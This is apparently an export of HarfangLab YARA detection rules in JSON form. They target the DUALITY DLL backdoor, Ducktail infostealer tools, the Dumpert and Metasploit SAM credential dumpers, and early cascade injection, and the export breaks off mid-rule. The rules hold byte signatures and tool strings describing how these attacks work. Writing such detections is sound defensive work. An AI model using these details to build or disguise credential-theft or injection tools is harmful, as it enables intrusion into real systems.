+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.586074Z",
+  "creation_date": "2026-03-23T11:46:25.586076Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.586082Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.aon.com/en/insights/cyber-labs/duality-part-1\nhttps://github.com/AonCyberLabs/DUALITY/\nhttps://attack.mitre.org/techniques/T1574/002/"
+  ],
+  "name": "duality_prestub.yar",
+  "content": "rule duality_prestub {\n    meta:\n        title = \"DUALITY Backdoor Prestub\"\n        id = \"58a84281-8b6e-4fef-bfd7-1d6d82e41a29\"\n        description = \"Detects the DUALITY backdoor technique where legitimate DLLs are backdoored to maintain persistence.\\nThe backdoored DLLs contain a Position Independent Code (PIC) that performs DUALITY checks and executes a payload. This rule detects the presence of a prestub used to trigger the malicious activity.\\nIt is recommended to investigate the process associated with this rule for potential malicious content within the binary or its memory.\"\n        references = \"https://www.aon.com/en/insights/cyber-labs/duality-part-1\\nhttps://github.com/AonCyberLabs/DUALITY/\\nhttps://attack.mitre.org/techniques/T1574/002/\"\n        date = \"2024-03-13\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1574.002\"\n        classification = \"Windows.HackTool.Duality\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 9dc0204abf0679322e9aca39dcb3d5ea6f216c293b964aaa09b8d3206b8cd312\n\n        // This is the pre-stub stored in the .NET duality executable\n        $prestub_expanded = {\n            4c 00 00 00 8b 00 00 00 fc 00 00 00 9c 00 00 00\n            50 00 00 00 53 00 00 00 51 00 00 00 52 00 00 00\n            56 00 00 00 57 00 00 00 55 00 00 00 41 00 00 00\n            50 00 00 00 41 00 00 00 51 00 00 00 41 00 00 00\n            52 00 00 00 41 00 00 00 53 00 00 00 41 00 00 00\n            54 00 00 00 41 00 00 00 55 00 00 00 41 00 00 00\n            56 00 00 00 48 00 00 00 8d 00 00 00 05 00 00 00\n            00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n            48 00 00 00 05 00 00 00 d6 00 00 00 7a 00 00 00\n            0a 00 00 00 00 00 00 00 ff 00 00 00 d0 00 00 00\n            41 00 00 00 5e 00 00 00 41 00 00 00 5d 00 00 00\n            41 00 00 00 5c 00 00 00 41 00 00 00 5b 00 00 00\n            41 00 00 00 5a 00 00 00 41 00 00 00 59 00 00 00\n            41 00 00 00 58 00 00 00 5d 00 00 00 5f 00 00 00\n            5e 00 00 00 5a 00 00 00 59 00 00 00 5b 00 00 00\n            58 00 00 00 9d 00 00 00 49 00 00 00 8b 00 00 00\n            e7 00 00 00 48 00 00 00 89 00 00 00 5c 00 00 00\n            24 00 00 00 08 00 00 00 e9 00 00 00 93 00 00 00\n            c5 00 00 00 ff 00 00 00 ff 00 00 00 00 00 00 00\n        }\n\n        // This is the prestub as found in infected DLLs\n        $prestub_compact = {\n            4c 8b fc                    // mov r15 rsp\n            9c                          // pushfq\n            50                          // push rax\n            53                          // push rbx\n            51                          // push rcx\n            52                          // push rdx\n            56                          // push rsi\n            57                          // push rdi\n            55                          // push rbp\n            41 50                       // push r8\n            41 51                       // push r9\n            41 52                       // push r10\n            41 53                       // push r11\n            41 54                       // push r12\n            41 55                       // push r13\n            41 56                       // push r14\n            48 8d 05 00 00 00 00        // lea rax <next_instruction_address>\n            48 05 ?? ?? ?? ??           // add rax <some_offset_to_duality_section>\n            ff d0                       // call rax\n            41 5e                       // pop r14\n            41 5d                       // pop r13\n            41 5c                       // pop r12\n            41 5b                       // pop r11\n            41 5a                       // pop r10\n            41 59                       // pop r9\n            41 58                       // pop r8\n            5d                          // pop rbp\n            5f                          // pop rdi\n            5e                          // pop rsi\n            5a                          // pop rdx\n            59                          // pop rcx\n            5b                          // pop rbx\n            58                          // pop rax\n            9d                          // popfq\n            49 8b e7                    // mov rsp r15\n            48 89 5c 24 08              // mov qword ptr ss:[rsp+8] rbx\n            e9 ?? ?? ?? ??              // jmp <back_to_original_dll_code>\n        }\n\n    condition:\n        any of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "duality_prestub"
+  ],
+  "rule_creation_date": "2024-03-13",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.Duality"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.002"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-duality_sections_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.585719Z",
+  "creation_date": "2026-03-23T11:46:25.585721Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.585727Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.aon.com/en/insights/cyber-labs/duality-part-1\nhttps://github.com/AonCyberLabs/DUALITY/\nhttps://attack.mitre.org/techniques/T1574/002/"
+  ],
+  "name": "duality_sections.yar",
+  "content": "import \"pe\"\n\nrule duality_sections {\n    meta:\n        title = \"DUALITY Backdoor Section\"\n        id = \"62487fbe-1a82-4c3f-8b0e-5da8867c3035\"\n        description = \"Detects the DUALITY backdoor technique where legitimate DLLs are backdoored to maintain persistence.\\nThe backdoored DLLs contain a Position Independent Code (PIC) that performs DUALITY checks and executes a payload. This rule detects the presence of a prestub used to trigger the malicious activity.\\nIt is recommended to investigate the process associated with this rule for potential malicious content within the binary or its memory.\"\n        references = \"https://www.aon.com/en/insights/cyber-labs/duality-part-1\\nhttps://github.com/AonCyberLabs/DUALITY/\\nhttps://attack.mitre.org/techniques/T1574/002/\"\n        date = \"2024-03-13\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1574.002\"\n        classification = \"Windows.HackTool.Duality\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    condition:\n        for any section in pe.sections : ( section.name == \".duality\" or section.name == \".ensc\" )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "duality_sections"
+  ],
+  "rule_creation_date": "2024-03-13",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.Duality"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.002"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-ducktail_getcookie_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.581628Z",
+  "creation_date": "2026-03-23T11:46:25.581632Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.581641Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://malpedia.caad.fkie.fraunhofer.de/details/win.ducktail"
+  ],
+  "name": "ducktail_getcookie.yar",
+  "content": "import \"pe\"\n\nrule ducktail_getcookie {\n    meta:\n        title = \"Ducktail GetCookieToSync\"\n        id = \"dbe6a54b-7691-46f5-bf32-44ffcc232c0b\"\n        description = \"Detects the GetCookieToSync hacktool.\\nGetCookieToSync is a tool written in .NET employed by the Ducktail threat actor to steal cookies from web browsers, aiding in unauthorized access to user accounts.\"\n        references = \"https://malpedia.caad.fkie.fraunhofer.de/details/win.ducktail\"\n        date = \"2023-10-20\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1539;attack.exfiltration;attack.t1048\"\n        classification = \"Windows.HackTool.Ducktail\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // b425c9814125459890f71dbf0b32134abb8c141f9b69363b1be106099814c338\n\n        $s1 = \"{{ id = {0}, key1 = {1}, key2 = {2} }}\" wide fullword\n        $s2 = \"encrypted_key\\\":\\\"\" wide fullword\n        $s3 = \"Ko tim dc private key, ko sync dc\" wide fullword\n        $s4 = \"KO tim dc cookie path\" wide fullword\n        $s5 = \"Vui long chon profile de chay\" wide fullword\n        $s6 = \"/api/chrome/fix\" wide fullword\n\n    condition:\n        4 of ($s*) or\n        1 of ($s*) and pe.version_info[\"OriginalFilename\"] == \"GetCookieToSync.exe\"\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "ducktail_getcookie"
+  ],
+  "rule_creation_date": "2023-10-20",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.Ducktail"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1048",
+    "attack.t1539"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-ducktail_nativeaot_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.568283Z",
+  "creation_date": "2026-03-23T11:46:25.568286Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.568295Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://malpedia.caad.fkie.fraunhofer.de/details/win.ducktail"
+  ],
+  "name": "ducktail_nativeaot.yar",
+  "content": "rule ducktail_nativeaot {\n    meta:\n        title = \"Ducktail Malware\"\n        id = \"084f7065-a86a-4c1c-8723-640d9ceaeb8d\"\n        description = \"Detects Ducktail, a Vietnamese infostealer threat actor using tools written in .NET. This variant, observed in October 2023, employs Native AOT (Ahead Of Time) compilation.\"\n        references = \"https://malpedia.caad.fkie.fraunhofer.de/details/win.ducktail\"\n        date = \"2023-10-20\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1059.001;attack.defense_evasion;attack.t1562.001;attack.persistence;attack.t1543.003;attack.t1136.001;attack.lateral_movement;attack.t1021.001;attack.command_and_control;attack.t1071.001\"\n        classification = \"Windows.Malware.Ducktail\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 1e082ed9733b033a0c9b27a0d1146397771b350b013ea3e9fba228e1400a263f\n\n        $s1 = \"'; 'Member' = $Username};Add-LocalGroupMember @GroupParams;\" wide fullword\n        $s2 = \"begin download decrypt to \" wide fullword\n        $s3 = \"result install myRdpService :\" wide fullword\n        $s4 = \"start run decrypt exe from normal account\" wide fullword\n\n    condition:\n        uint16(0) == 0x5A4D and all of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "ducktail_nativeaot"
+  ],
+  "rule_creation_date": "2023-10-20",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Malware.Ducktail"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.lateral_movement",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1136.001",
+    "attack.t1562.001",
+    "attack.t1071.001",
+    "attack.t1059.001",
+    "attack.t1543.003",
+    "attack.t1021.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-ducktail_rdpservice_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.568038Z",
+  "creation_date": "2026-03-23T11:46:25.568040Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.568045Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://malpedia.caad.fkie.fraunhofer.de/details/win.ducktail"
+  ],
+  "name": "ducktail_rdpservice.yar",
+  "content": "rule ducktail_rdpservice {\n    meta:\n        title = \"Ducktail RdpService\"\n        id = \"8e50570c-16fe-4f28-b220-5020959eebcc\"\n        description = \"Detects the RdpService hacktool used by Ducktail for RDP tunneling.\\nRdpService is used to create tunnels, enabling lateral movement within a compromised network.\\nDucktail is a Vietnamese infostealer threat actor known for using tools like RdpService, often written in .NET.\"\n        references = \"https://malpedia.caad.fkie.fraunhofer.de/details/win.ducktail\"\n        date = \"2023-10-20\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.lateral_movement;attack.t1021.001;attack.command_and_control;attack.t1572\"\n        classification = \"Windows.HackTool.Ducktail\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 6b52fdca49db84a5ce3abec0fed77e58451e5bbc5b5c5052aedb5164878a4876\n\n        $s1 = \"RdpService.dll\" wide fullword\n        $s2 = \"close clietn socket\" wide fullword\n        $s3 = \"close client socket success\" wide fullword\n        $s4 = \"san sang nhan data\" wide\n        $s5 = \"ngat ket noi roi\" wide fullword\n        $s6 = \"deviceId.txt\" wide fullword\n\n    condition:\n        4 of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "ducktail_rdpservice"
+  ],
+  "rule_creation_date": "2023-10-20",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.Ducktail"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1572",
+    "attack.t1021.001"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-dumpert_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.582319Z",
+  "creation_date": "2026-03-23T11:46:25.582321Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.582326Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1003/001/\nhttps://github.com/outflanknl/Dumpert"
+  ],
+  "name": "dumpert.yar",
+  "content": "rule dumpert {\n    meta:\n        title = \"Dumpert HackTool\"\n        id = \"b4260a85-4b0c-46ba-9ce9-80fbaa2f4445\"\n        description = \"Detects the LSASS memory dumper Dumpert.\\nDumpert is a tool that extracts LSASS process memory using direct system calls and API unhooking techniques to avoid detection by security solutions.\\nIt attempts to dump memory directly from the LSASS process without relying on traditional methods, making it harder to block.\"\n        references = \"https://attack.mitre.org/techniques/T1003/001/\\nhttps://github.com/outflanknl/Dumpert\"\n        date = \"2024-01-25\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1003.001\"\n        classification = \"Windows.HackTool.Dumpert\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // f323569e5d64a3aa60045bd06c2421e729d1c0d79028aba9e227d9eeaeec62e5\n        // 7f7444414773260e15a8716a14b6a77578191be48fc9abb4d354eb8fc04f73fd\n        // 78a7a10aa0d5c69e61d8d5413e1d881f6c7d83bd8c0913f6479c4aa27035ebe4\n        // 5180c945e25b9d771624130207da3b7ada27bfa0232170081efe6891d54f5b87\n        // 3336e757f9157c001de057b38d3eb24c754fcfaad7ac2b571fbe2ea0e18a9ac1\n        // 1da30fe79063333fc5fa8dbf291b5bcc0c07e1ae64722b4de7177eecfa261198\n        // 002594fd3f52966d800eb451e60f153b491915f853c6098e5009ab6941373e3a\n\n        // ascii\n        $s1 = \"[+] %s function pointer at: 0x%p\" fullword ascii\n        $s2 = \"[+] %s System call nr is: 0x%x\" fullword ascii\n        $s3 = \"[+] Unhooking %s.\" ascii fullword\n        $s4 = \"[!] Unhooking %s failed.\" ascii fullword\n\n        // wide\n        $s5 = \"[!] ZwProtectVirtualMemory failed.\" wide fullword\n        $s6 = \"[!] ZwWriteVirtualMemory failed.\" wide fullword\n        $s7 = \"By Cneeliz @Outflank 2019\" wide fullword\n        $s8 = \"[!] You need elevated privileges to run this tool!\" wide fullword\n        $s9 = \"[1] Checking OS version details:\" wide fullword\n        $s10 = \"[+] Operating System is Windows %ls, build number %d\" wide fullword\n        $s11 = \"[+] Mapping version specific System calls.\" wide fullword\n        $s12 = \"[!] OS Version not supported.\" wide fullword\n        $s13 = \"[2] Checking Process details:\" wide fullword\n        $s14 = \"[!] Enumerating process failed.\" wide fullword\n        $s15 = \"[+] Process ID of %wZ is: %lld\" wide fullword\n        $s16 = \"[3] Create memorydump file:\" wide fullword\n        $s17 = \"[+] Open a process handle.\" wide fullword\n        $s18 = \"[!] Failed to get processhandle.\" wide fullword\n        $s19 = \"\\\\Temp\\\\dumpert.dmp\" wide fullword\n        $s20 = \"[+] Dump %wZ memory to: %wZ\" wide fullword\n        $s21 = \"[!] Failed to create dumpfile.\" wide fullword\n        $s22 = \"[!] Failed to create minidump, error code: %x\" wide fullword\n        $s23 = \"[+] Dump succesful.\" wide fullword\n\n    condition:\n        8 of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "dumpert"
+  ],
+  "rule_creation_date": "2024-01-25",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.Dumpert"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-dump_sam_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.590486Z",
+  "creation_date": "2026-03-23T11:46:25.590488Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.590494Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/dump_sam/dump_sam.c"
+  ],
+  "name": "dump_sam.yar",
+  "content": "rule sam_dump {\n    meta:\n        title = \"SAM Dump HackTool\"\n        id = \"2181aab8-607f-4edf-9825-1dd3f2e2b54f\"\n        description = \"Detects the Metasploit SAM dump tool used to extract the NTLM hashes from the LSASS process in-memory.\\nTo perform this technique, attackers inject code into the Local Security Authority Subsystem (LSASS) process and use APIs from the samsrv.dll library to dumps password hashes from the Security Account Manager (SAM) database.\\nIt is recommended to investigate the process at the origin of the code injection into the LSASS process.\"\n        references = \"https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/dump_sam/dump_sam.c\"\n        date = \"2024-10-09\"\n        modified = \"2026-02-23\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1204.002;attack.defense_evasion;attack.t1140;attack.t1055\"\n        classification = \"Windows.HackTool.SamDump\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 8bdca1b212fec7f790be0b36969248f2f57dc41c7e8c8ea5ec3f93e1ca0b4a52\n        // 4c51b58b34131f9755886a04e81ba4669a4ca79fca0cf68d4321cdd06efb873a\n\n        $s1  = \"samsrv.dll\" ascii fullword\n        $s2  = \"SamIConnect\" ascii fullword\n        $s3  = \"SamrEnumerateUsersInDomain\" ascii fullword\n        $s4  = \"SamrOpenUser\" ascii fullword\n        $s5  = \"SamrQueryInformationUser\" ascii fullword\n        $s6  = \"SamIFree_SAMPR_USER_INFO_BUFFER\" ascii fullword\n        $s7  = \"SamIFree_SAMPR_ENUMERATION_BUFFER\" ascii fullword\n        $s8  = \"SamrCloseHandle\" ascii fullword\n\n        $samr_open_domain = { BA FF 07 0F 00 }  // mov     edx, 0F07FFh\n\n        $hash1 = { C7 45 ?? ED 4A 3D D3 }       // mov     [rbp+57h+var_C8], 0D33D4AEDh\n        $hash2 = { C7 45 ?? 89 4D 3F BC }       // mov     [rbp+57h+var_B0], 0BC3F4D89h\n        $hash3 = { C7 45 ?? E8 8A 4D 53 }       // mov     [rbp+57h+var_98], 534D8AE8h\n        $hash4 = { C7 45 ?? C3 AD 69 81 }       // mov     [rbp+57h+var_80], 8169ADC3h\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "sam_dump"
+  ],
+  "rule_creation_date": "2024-10-09",
+  "rule_modified_date": "2026-02-23",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.SamDump"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140",
+    "attack.t1204.002",
+    "attack.t1055"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-early_cascade_injection_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.588463Z",
+  "creation_date": "2026-03-23T11:46:25.588465Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.588470Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/Cracked5pider/earlycascade-injection/\nhttps://www.outflank.nl/blog/2024/10/15/introducing-early-cascade-injection-from-windows-process-creation-to-stealthy-injection/"
+  ],
+  "name": "early_cascade_injection.yar",
+  "content": "rule early_cascade_injection {\n    meta:\n        title = \"Early Cascade Injection\"\n        id = \"9a1314b5-b994-4fbe-8572-cdf2ba6af4e0\"\n        description = \"Detects early cascade injection technique.\\nEarly cascade injection is a process injection technique used to evade security measures by creating multiple processes in a chain. This technique was discovered by Outflank and implemented by @5pider as a sophisticated method for executing malicious code within legitimate processes.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://github.com/Cracked5pider/earlycascade-injection/\\nhttps://www.outflank.nl/blog/2024/10/15/introducing-early-cascade-injection-from-windows-process-creation-to-stealthy-injection/\"\n        date = \"2024-11-12\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1055\"\n        classification = \"Windows.Generic.EarlyCascadeInjection\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // f3592125ec88bc5f1f4d2b83a47269d2d8294915a96cb1808c9dc955720ff770\n\n        $cascade_stub = {\n            48 83 ec 38                          // sub rsp, 38h\n            33 c0                                // xor eax, eax\n            45 33 c9                             // xor r9d, r9d\n            48 21 44 24 20                       // and [rsp+38h+var_18], 